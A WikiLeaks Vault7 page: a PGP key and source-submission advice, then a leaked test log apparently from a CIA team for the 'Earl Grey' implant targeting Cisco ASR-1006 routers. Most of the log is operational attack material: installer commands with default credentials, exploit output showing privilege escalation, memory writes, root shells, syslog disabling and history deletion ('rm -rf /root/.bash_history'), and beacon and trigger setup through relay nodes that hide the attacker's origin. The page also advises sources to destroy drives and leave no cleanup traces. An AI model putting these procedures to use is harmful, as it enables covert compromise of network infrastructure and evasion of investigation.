This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

-----BEGIN PGP PUBLIC KEY BLOCK-----

mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
/ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
/MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
o+UmLKWyxTScBm5o3zRm3iyU10d4gka0dxsSQMl1BRD3G6b+NvnBEsV/+KCjxqLU
vhDNup1AsJ1OhyqPydj5uyiWZCxlXWQPk4p5WWrGZdBDduxiZ2FTj17hu8S4a5A4
lpTSoZ/nVjUUl7EfvhQCd5G0hneryhwqclVfAhg0xqUUi2nHWg19npPkwZM7Me/3
+ey7svRUqxVTKbXffSOkJTMLUWqZWc087hL98X5rfi1E6CpBO0zmHeJgZva+PEQ/
ZKKi8oTzHZ8NNlf1qOfGAPitaEn/HpKGBsDBtE2te8PF1v8LBCea/d5+Umh0GELh
5eTq4j3eJPQrTN1znyzpBYkR19/D/Jr5j4Vuow5wEE28JJX1TPi6VBMevx1oHBuG
qsvHNuaDdZ4F6IJTm1ZYBVWQhLbcTginCtv1sadct4Hmx6hklAwQN6VVa7GLOvnY
RYfPR2QA3fGJSUOg8xq9HqVDvmQtmP02p2XklGOyvvfQxCKhLqKi0hV9xYUyu5dk
2L/A8gzA0+GIN+IYPMsf3G7aDu0qgGpi5Cy9xYdJWWW0DA5JRJc4/FBSN7xBNsW4
eOMxl8PITUs9GhOcc68Pvwyv4vvTZObpUjZANLquk7t8joky4Tyog29KYSdhQhne
oVODrdhTqTPn7rjvnwGyjLInV2g3pKw/Vsrd6xKogmE8XOeR8Oqk6nun+Y588Nsj
XddctWndZ32dvkjrouUAC9z2t6VE36LSyYJUZcC2nTg6Uir+KUTs/9RHfrvFsdI7
iMucdGjHYlKc4+YwTdMivI1NPUKo/5lnCbkEDQRVKAhoASAAvnuOR+xLqgQ6KSOO
RTkhMTYCiHbEsPmrTfNA9VIip+3OIzByNYtfFvOWY2zBh3H2pgf+2CCrWw3WqeaY
wAp9zQb//rEmhwJwtkW/KXDQr1k95D5gzPeCK9R0yMPfjDI5nLeSvj00nFF+gjPo
Y9Qb10jp/Llqy1z35Ub9ZXuA8ML9nidkE26KjG8FvWIzW8zTTYA5Ezc7U+8HqGZH
VsK5KjIO2GOnJiMIly9MdhawS2IXhHTV54FhvZPKdyZUQTxkwH2/8QbBIBv0OnFY
3w75Pamy52nAzI7uOPOU12QIwVj4raLC+DIOhy7bYf9pEJfRtKoor0RyLnYZTT3N
0H4AT2YeTra17uxeTnI02lS2Jeg0mtY45jRCU7MrZsrpcbQ464I+F411+AxI3NG3
cFNJOJO2HUMTa+2PLWa3cERYM6ByP60362co7cpZoCHyhSvGppZyH0qeX+BU1oyn
5XhT+m7hA4zupWAdeKbOaLPdzMu2Jp1/QVao5GQ8kdSt0n5fqrRopO1WJ/S1eoz+
Ydy3dCEYK+2zKsZ3XeSC7MMpGrzanh4pk1DLr/NMsM5L5eeVsAIBlaJGs75Mp+kr
ClQL/oxiD4XhmJ7MlZ9+5d/o8maV2K2pelDcfcW58tHm3rHwhmNDxh+0t5++i30y
BIa3gYHtZrVZ3yFstp2Ao8FtXe/1ALvwE4BRalkh+ZavIFcqRpiF+YvNZ0JJF52V
rwL1gsSGPsUY6vsVzhpEnoA+cJGzxlor5uQQmEoZmfxgoXKfRC69si0ReoFtfWYK
8Wu9sVQZW1dU6PgBB30X/b0Sw8hEzS0cpymyBXy8g+itdi0NicEeWHFKEsXa+HT7
mjQrMS7c84Hzx7ZOH6TpX2hkdl8Nc4vrjF4iff1+sUXj8xDqedrg29TseHCtnCVF
kfRBvdH2CKAkbgi9Xiv4RqAP9vjOtdYnj7CIG9uccek/iu/bCt1y/MyoMU3tqmSJ
c8QeA1L+HENQ/HsiErFGug+Q4Q1SuakHSHqBLS4TKuC+KO7tSwXwHFlFp47GicHe
rnM4v4rdgKic0Z6lR3QpwoT9KwzOoyzyNlnM9wwnalCLwPcGKpjVPFg1t6F+eQUw
WVewkizhF1sZBbED5O/+tgwPaD26KCNuofdVM+oIzVPOqQXWbaCXisNYXoktH3Tb
0X/DjsIeN4TVruxKGy5QXrvo969AQNx8Yb82BWvSYhJaXX4bhbK0pBIT9fq08d5R
IiaN7/nFU3vavXa+ouesiD0cnXSFVIRiPETCKl45VM+f3rRHtNmfdWVodyXJ1O6T
ZjQTB9ILcfcb6XkvH+liuUIppINu5P6i2CqzRLAvbHGunjvKLGLfvIlvMH1mDqxp
VGvNPwARAQABiQQlBBgBCgAPAhsMBQJW+nHeBQkDs5z2AAoJEJPtcy6SMY26Qtgf
/0tXRbwVOBzZ4fI5NKSW6k5A6cXzbB3JUxTHMDIZ93CbY8GvRqiYpzhaJVjNt2+9
zFHBHSfdbZBRKX8N9h1+ihxByvHncrTwiQ9zFi0FsrJYk9z/F+iwmqedyLyxhIEm
SHtWiPg6AdUM5pLu8GR7tRHagz8eGiwVar8pZo82xhowIjpiQr0Bc2mIAusRs+9L
jc+gjwjbhYIg2r2r9BUBGuERU1A0IB5Fx+IomRtcfVcL/JXSmXqXnO8+/aPwpBuk
bw8sAivSbBlEu87P9OovsuEKxh/PJ65duQNjC+2YxlVcF03QFlFLGzZFN7Fcv5JW
lYNeCOOz9NP9TTsR2EAZnacNk75/FYwJSJnSblCBre9xVA9pI5hxb4zu7CxRXuWc
QJs8Qrvdo9k4Jilx5U9X0dsiNH2swsTM6T1gyVKKQhf5XVCS4bPWYagXcfD9/xZE
eAhkFcAuJ9xz6XacT9j1pw50MEwZbwDneV93TqvHmgmSIFZow1aU5ACp+N/ksT6E
1wrWsaIJjsOHK5RZj/8/2HiBftjXscmL3K8k6MbDI8P9zvcMJSXbPpcYrffw9A6t
ka9skmLKKFCcsNJ0coLLB+mw9DVQGc2dPWPhPgtYZLwG5tInS2bkdv67qJ4lYsRM
jRCW5xzlUZYk6SWD4KKbBQoHbNO0Au8Pe/N1SpYYtpdhFht9fGmtEHNOGPXYgNLq
VTLgRFk44Dr4hJj5I1+d0BLjVkf6U8b2bN5PcOnVH4Mb+xaGQjqqufAMD/IFO4Ro
TjwKiw49pJYUiZbw9UGaV3wmg+fue9To1VKxGJuLIGhRXhw6ujGnk/CktIkidRd3
5pAoY5L4ISnZD8Z0mnGlWOgLmQ3IgNjAyUzVJRhDB5rVQeC6qX4r4E1xjYMJSxdz
Aqrk25Y//eAkdkeiTWqbXDMkdQtig2rY+v8GGeV0v09NKiT+6extebxTaWH4hAgU
FR6yq6FHs8mSEKC6Cw6lqKxOn6pwqVuXmR4wzpqCoaajQVz1hOgD+8QuuKVCcTb1
4IXXpeQBc3EHfXJx2BWbUpyCgBOMtvtjDhLtv5p+4XN55GqY+ocYgAhNMSK34AYD
AhqQTpgHAX0nZ2SpxfLr/LDN24kXCmnFipqgtE6tstKNiKwAZdQBzJJlyYVpSk93
6HrYTZiBDJk4jDBh6jAx+IZCiv0rLXBM6QxQWBzbc2AxDDBqNbea2toBSww8HvHf
hQV/G86Zis/rDOSqLT7e794ezD9RYPv55525zeCk3IKauaW5+WqbKlwosAPIMW2S
kFODIRd5oMI51eof+ElmB5V5T9lw0CHdltSM/hmYmp/5YotSyHUmk91GDFgkOFUc
J3x7gtxUMkTadELqwY6hrU8=
=BLTH
-----END PGP PUBLIC KEY BLOCK-----
		

Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

After

1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

Vault7: CIA Hacking Tools Revealed

Navigation: » Latest version


Owner: User #1179928

Earl Grey v1.0.0 Testing

CONOP:

  • Using two Flux nodes between ICON and the target for obfuscation; establish install path from admin host in target network coming from telnet port 23. Once installed, SNMPSimple Network Management Protocol trigger will come through the admin box as well and the target ASRAzure Site Recovery will beacon back from a random high port to the web host which has a forth Flux node installed on it that is bridging port 8080 to port 8080 in the flux tunnel.

 

Summary:

  • 10/14 - Initial install test completed. Trigger sent and received back from implanted ASR
  • 10/20 - Sucessfully installed EGEarl Grey (Project name) on the target through the 3 Flux nodes appearing to originate from an admin workstation. Also successfully configured Flux/EG so that EGEarl Grey (Project name) would beacon back through an Internet connected Web host to pass the beacon back through the Flux tunnel.
  • Made new EGEarl Grey (Project name) implant with operational settings with operator's input: Using 2 Flux nodes for obfuscation and 2 Flux nodes inside the target network for the gateway and return beacon. Successfully able to send SNMPSimple Network Management Protocol trigger appearing to come from admin host and the target successfully beaconing back from a random high port to 8080 on the web host.

 

 

Testing Notes:

EG-1.0.0

  • On Earl-Grey build VM, login with eg_build / eg_build (su - 10sne1)
  • Edit /home/eg-build/Earl_Grey_v1.0.0/common/config.h
    • vi config.h 

      • LP_HOST1 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
      • LP_HOST2 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
      • LP_HOST3 "127.0.0.1"
  • cd /home/eg-build/Earl_Grey_v1.0.0/build/release/cd ../../..

    • make clean release

    • ls -l ./build/release/

  • From ICON1 (Move build from eg-build VMVirtual Machine to ICON1 VMVirtual Machine)
    • root@debian:/etc# scp -r root@172.20.12.105:/home/eg-build/Earl_Grey_v1.0.0/build/release /home/user1

    • root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history 
    • Receive the following output:
      • == Exploit version 30502 ==
        [+] Generating random names for the c2 and clear sip history binaries
        c2_manager is now wdotiutq (9191b039896bd7c12ec984288a300a2b)
        clear_exp_history is now aswulpmp (8652da573ae103299f6c12b14c874bd7)
        [+] wdotiutq.tar.gz size: 34131 bytes
        [+] aswulpmp.tar.gz size: 2256 bytes
        [+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
        [+] Escalating privileges
        [+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
        Exception during our attempt to get the SIPSession Initiation Protocol (Internet Telephony) console: Timeout exceeded.
        <expect_telnet.expectlogtelnet object at 0x7fc0929dce10>
        version: 3.2
        command: /usr/bin/telnet
        args: ['/usr/bin/telnet', 'XXX.XX.XXX.XX (ORACLE-AT[US])']
        searcher: <pexpect.searcher_re object at 0x7fc0929dce50>
        buffer (last 100 chars): '0\r\nEnter interface cpu to connect to: 0\r\n%Slot 0 does not support IPCInterprocess Communications console to CPU 0.\r\n\r\nASR-1006#'
        before (last 100 chars): '0\r\nEnter interface cpu to connect to: 0\r\n%Slot 0 does not support IPCInterprocess Communications console to CPU 0.\r\n\r\nASR-1006#'
        after: <class 'pexpect.TIMEOUT'>
        match: None
        match_index: None
        exitstatus: None
        flag_eof: False
        pid: 12367
        child_fd: 3
        closed: False
        timeout: 30
        delimiter: <class 'pexpect.EOF'>
        logfile: <open file '././test_log', mode 'w+' at 0x7fc0929e5a50>
        logfile_read: None
        logfile_send: None
        maxread: 2000
        ignorecase: False
        searchwindowsize: None
        delaybeforesend: 0.05
        delayafterclose: 0.1
        delayafterterminate: 0.1

    • Spoke to Will at the Bakery on the install failure above. They had me run the following on our ASR:
      • ASR-1006#ipc-con
        Enter interface slot to connect to: 0
        Enter interface cpu to connect to: 0
        %Slot 0 does not support IPCInterprocess Communications console to CPU 0.

      • This seems to indicate that there is an issue with config/hardware that will NOT allow the EGEarl Grey (Project name) implant to install
      • Waiting for callback from User #?  (0931 10/9)
    • After speaking with User #77432, it was determined that since I do not have a SPA interface card in slot 0/0, this delivery will not work with the current hardware configuration.
    • I removed the 5x1Gig SPA card from slot 0/2 and put it into 0/0 and was able to do a "ipc-con" "0 0" via the IOS
  • From ICON1
    • root@debian:/etc# scp -r root@172.20.12.105:/home/eg-build/Earl_Grey_v1.0.0/build/release /home/user1

    • root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history 
      • Received the following output after the installer was stuck and hung for approximately 30 minutes
        • == Exploit version 30502 ==
          [+] Generating random names for the c2 and clear sip history binaries
          c2_manager is now iyucoycj (9191b039896bd7c12ec984288a300a2b)
          clear_exp_history is now tlohvidm (8652da573ae103299f6c12b14c874bd7)
          [+] iyucoycj.tar.gz size: 34131 bytes
          [+] tlohvidm.tar.gz size: 2259 bytes
          [+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
          [+] Escalating privileges
          [+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
          [+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
          ^CTraceback (most recent call last):
          File "earlgrey_installer.py", line 639, in <module>
          if sip_writer.findWriteOffet(expect) == False:
          File "earlgrey_installer.py", line 30, in findWriteOffet
          expect.sendcommand('term length 0', sendline = True, waitforprompt=True)
          File "/home/user1/release/expect_telnet.py", line 75, in sendcommand
          return self.getprompt(sendline = sendline, timeout = timeout)
          File "/home/user1/release/expect_telnet.py", line 68, in getprompt
          self.drain()
          File "/home/user1/release/expect_telnet.py", line 62, in drain
          r = self.expect([".*", pexpect.TIMEOUT, pexpect.EOF], timeout = .1)
          File "/usr/lib/python2.7/dist-packages/pexpect/__init__.py", line 1417, in expect
          return self.expect_list(compiled_pattern_list,

      • Restarted ASRAzure Site Recovery to try again....same result as previous.
  • dw_checker.py
    • Using "-i" option in Makefiles to ignore matches from the dirty word checker.  Appears that the result of this is that if matches are found compilation will continue along, forcing user to look through make scrollback to see if there were any dirty word hits of concern.  They probably did this to get around false positive matches, but the result that it is very likely that legitimate matches will be missed ==> open defect
    • When running "make clean all", see the following:
      • python ../../utilities/dw_checker.py -m -i -d ../../utilities/dirtywords.txt c2_manager
        dw_checker hit on 1 dirty words

        Results:
        --------
        1) Match: lab
        Context: '{ sleep 3; echo "cp /tmp/sw/fp/0/0/fp/mount/etc/lablogin.sh /etc/; /bin/sh -c '(sleep 6; rm -rf /root/.bash_history)&'"; sleep 3; echo "exit"; } | telnet fp-active'

      • lablogin.sh is part of IOS-XE - kicks off internal file copying from the active RP; c2_manager uses it to push files 
    • Candidates for dwlist.txt; these are present in debug builds, so we should make sure they don't appear in release builds
      • gdb(server) - may be required: "bexec.sh -c 'gdbserver 10.0.2.0:4545 --attach `pidof cpp_cp_svr`; exit;' -t 10.0.2.0 > /dev/null &"
      • collect(ion)
      • hook
      • payload
      • trigger
      • (de)(en)crypt
      • replay
      • encrytion (misspelling in the debug build)

EG-1.0.1 (New Release to fix SIPSession Initiation Protocol (Internet Telephony) interface position and Python 2.7 issues)

  • On Earl-Grey build VM, login with eg_build / eg_build (su - 10sne1)
  • Edit /home/eg-build/earl_grey_v1.0.1/common/config.h
    • vi config.h 

      • LP_HOST1 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
      • LP_HOST2 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"
      • LP_HOST3 "127.0.0.1"
  • cd /home/eg-build/earl_grey_v1.0.0/build/release/cd ../../..

    • make clean release

    • ls -l ./build/release/

  • From ICON1 (Move build from eg-build VMVirtual Machine to ICON1 VMVirtual Machine)
    • Without changing any modules: Interface card in SIPSession Initiation Protocol (Internet Telephony) 0/0, 0/1, 0/3 (none in SIPSession Initiation Protocol (Internet Telephony) 0/2)
    • root@debian:/home/user1# scp -rp root@172.20.12.105:/home/eg-build/earl-grey-1.0.1/earl-grey-1.0.1/build/release /home/user1

    • root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history 
    • Receive error that there is no SIPSession Initiation Protocol (Internet Telephony) module in 0/2:
      • == Exploit version 30502 ==
        [+] Generating random names for the c2 and clear sip history binaries
        c2_manager is now ogucnlyg (572f41612aa50255925b319f6345eb0d)
        clear_exp_history is now ommnqpmj (2d05ac51d0cbe6d7f822e4bd13b7ff38)
        [+] ogucnlyg.tar.gz size: 34143 bytes
        [+] ommnqpmj.tar.gz size: 2267 bytes
        [+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
        [+] Escalating privileges
        [+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
        Exception during our attempt to get the SIPSession Initiation Protocol (Internet Telephony) console: Timeout exceeded in read_nonblocking().
        <expect_telnet.expectlogtelnet object at 0x7f10f09e2990>
        version: 2.3 ($Revision: 399 $)
        command: /usr/bin/telnet
        args: ['/usr/bin/telnet', 'XXX.XX.XXX.XX (ORACLE-AT[US])']
        searcher: searcher_re:
        0: re.compile("session")
        buffer (last 100 chars): 0
        Enter interface cpu to connect to: 2
        %Slot 0 does not support IPCInterprocess Communications console to CPU 2.

        ASR-1006#
        before (last 100 chars): 0
        Enter interface cpu to connect to: 2
        %Slot 0 does not support IPCInterprocess Communications console to CPU 2.

        ASR-1006#
        after: <class 'pexpect.TIMEOUT'>
        match: None
        match_index: None
        exitstatus: None
        flag_eof: False
        pid: 18874
        child_fd: 3
        closed: False
        timeout: 30
        delimiter: <class 'pexpect.EOF'>
        logfile: <open file '././test_log', mode 'w+' at 0x7f10f09f6810>
        logfile_read: None
        logfile_send: None
        maxread: 2000
        ignorecase: False
        searchwindowsize: None
        delaybeforesend: 0.05
        delayafterclose: 0.1
        delayafterterminate: 0.1

    • Moved 5x1G SPA card into SIPSession Initiation Protocol (Internet Telephony) 0/2 and ran installer again:
    • root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history 
      • Received the following output:
        == Exploit version 30502 ==
        [+] Generating random names for the c2 and clear sip history binaries
        c2_manager is now qkbthkef (572f41612aa50255925b319f6345eb0d)
        clear_exp_history is now ndkfoznh (2d05ac51d0cbe6d7f822e4bd13b7ff38)
        [+] qkbthkef.tar.gz size: 34141 bytes
        [+] ndkfoznh.tar.gz size: 2267 bytes
        [+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
        [+] Escalating privileges
        [+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
        [+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
        [+] Write location: 0x31244FD0
        [+] Uploading and executing sh code to overwrite .sh files
        --- Upload 100% complete ---
        [+] Getting root terminal on RP active
        Get prompt failed

Met with The Bakery to troubleshoot (10/14)

    • After some troubleshooting on the target ASR1006, it was determined that a hard drive must be installed in the management card for the exploit to install on target.
    • Powered down ASR, inserted hard drive, and started ASRAzure Site Recovery back up.
    • Attacked ASRAzure Site Recovery previous commands from ICON1
    • root@debian:/home/user1/release# python earlgrey_installer.py XXX.XX.XXX.XX (ORACLE-AT[US]) cisco cisco password ASR-1006 ./test_log c2_manager clear_exp_history 
      • == Exploit version 30502 ==
        [+] Generating random names for the c2 and clear sip history binaries
        c2_manager is now wflgxgob (572f41612aa50255925b319f6345eb0d)
        clear_exp_history is now yihjukqc (2d05ac51d0cbe6d7f822e4bd13b7ff38)
        [+] wflgxgob.tar.gz size: 34140 bytes
        [+] yihjukqc.tar.gz size: 2264 bytes
        [+] Logging into ASR-1006 as 'cisco@XXX.XX.XXX.XX (ORACLE-AT[US])' via telnet
        [+] Escalating privileges
        [+] Dropping down into SIPSession Initiation Protocol (Internet Telephony) console
        [+] Computing offsets for writing into SIPSession Initiation Protocol (Internet Telephony) memory
        [+] Write location: 0x31248FD0
        [+] Uploading and executing sh code to overwrite .sh files
        --- Upload 100% complete ---
        [+] Getting root terminal on RP active
        [+] Uploading wflgxgob.tar.gz to the RP
        --- Upload 100% complete ---
        [+] Decompressing the c2 package
        [+] md5sum /tmp/wflgxgob: 572f41612aa50255925b319f6345eb0d
        [+] Executing wflgxgob
        [+] Getting root terminal on SIP
        [+] Uploading yihjukqc.tar.gz to the SIP
        --- Upload 100% complete ---
        [+] Decompressing the cleanup package
        [+] md5sum /tmp/yihjukqc: 2d05ac51d0cbe6d7f822e4bd13b7ff38
        [+] Executing yihjukqc
        [+] Cleaning up files on SIP
        [+] Getting a terminal on FP
        [+] Disabling syslog messages from the FP
        [+] Cleaning up files on RP-active
        [+] Exploit completed successfully

    • Copied "release" folder from the eg-builder VMVirtual Machine to ICON2
    • Ran the daemon on the LPListening Post (ICON2)root@debian:/home/user1/release# ./lp_daemon
    • From ICON1, ran the following test trigger: root@debian:/home/user1/release# ./lp -T XXX.XX.XXX.XX (ORACLE-AT[US]) -D X.X.X.XX (LVLT-GOGL-8-8-8[US]) -n
      • Using default port, 4444, to connect to server daemon
        Implant Health Status:
        Uptime: 1313 seconds
        Redir: Not Running
        Survey: Not Running

10/19 - Test install through Flux tunnel

    • Created IP access list on ASR1006, Ten 0/3/0.4 to block traffic from host X.X.X.XX (LVLT-GOGL-8-8-8[US]) to XX.XX.X.XX (HURRICANE-9[US]). This will ensure that ICON1 cannot directly attack the ASRAzure Site Recovery interface and that the source IP must appear to be coming from the Admin/FLX1 workstation.
    • Configured two Flux nodes between ICON and the target network and they show in the Flux GUIGraphical User Interface on my ICON box.
    • Configured Flux on "Web" and "Host1" in target network and they are showing as two spokes in the Flux GUIGraphical User Interface on ICON.
    • Configured the Flux gateway to be that of Host1(Admin/FLX1) so that source traffic going to ASRAzure Site Recovery will appear to come from this workstation from ICON.
    • Configured bridge in Flux GUIGraphical User Interface to bridge port 8080 that the beacon will call back on to port 4444 which is configured in the LP_Daemon listener.
    • Made a new 
    • (With ASRAzure Site Recovery previously restarted) Ran attack from ICON:
      • root@debian:/home/user1/release# python earlgrey_installer.py XX.XX.X.XX (HURRICANE-9[US]) cisco cisco password ASR-1006 ./test_log101 c2_manager clear_exp_history

      • .......
      • [+] Exploit completed successfully
    • Tried to do a health check to the implant via:
      • root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -D XX.XX.X.XXX (HURRICANE-9[US]) -P 8080 -n
        Failed to receive enough HELLO data.

    • Created a bridge in Flux to bridge the LP_Default_Implant_Port 6001 to port 6001 to pass the beacon back to ICON1

      • Bridging other ports to 6001 was not successful in combination with the trigger syntax above.
    • Successfully sent trigger and received beacon back through the web host:

      • root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -n
        Using loop-back address to connect to server daemon
        Using default port, 4444, to connect to server daemon
        Implant Health Status:
        Uptime: 71194 seconds
        Redir: Not Running
        Survey: Not Running

      • Successfully seeing SNMPSimple Network Management Protocol packet on Flux gateway which is the administrator workstation (as expected).
      • TCPDump on the Webhost shows comms coming from the target over default port 23 (telnet) to the destination port of 6001
        • Spoke with operator about this issue and he would prefer a random high port. I then changed the config.h file for future build so that the beacon port is "0" so that it will choose an ephemeral port
      • Sent uninstall command: 

        root@debian:/home/user1/release# ./lp -T XX.XX.X.XX (HURRICANE-9[US]) -x
        Using loop-back address to connect to server daemon
        Using default port, 4444, to connect to server daemon
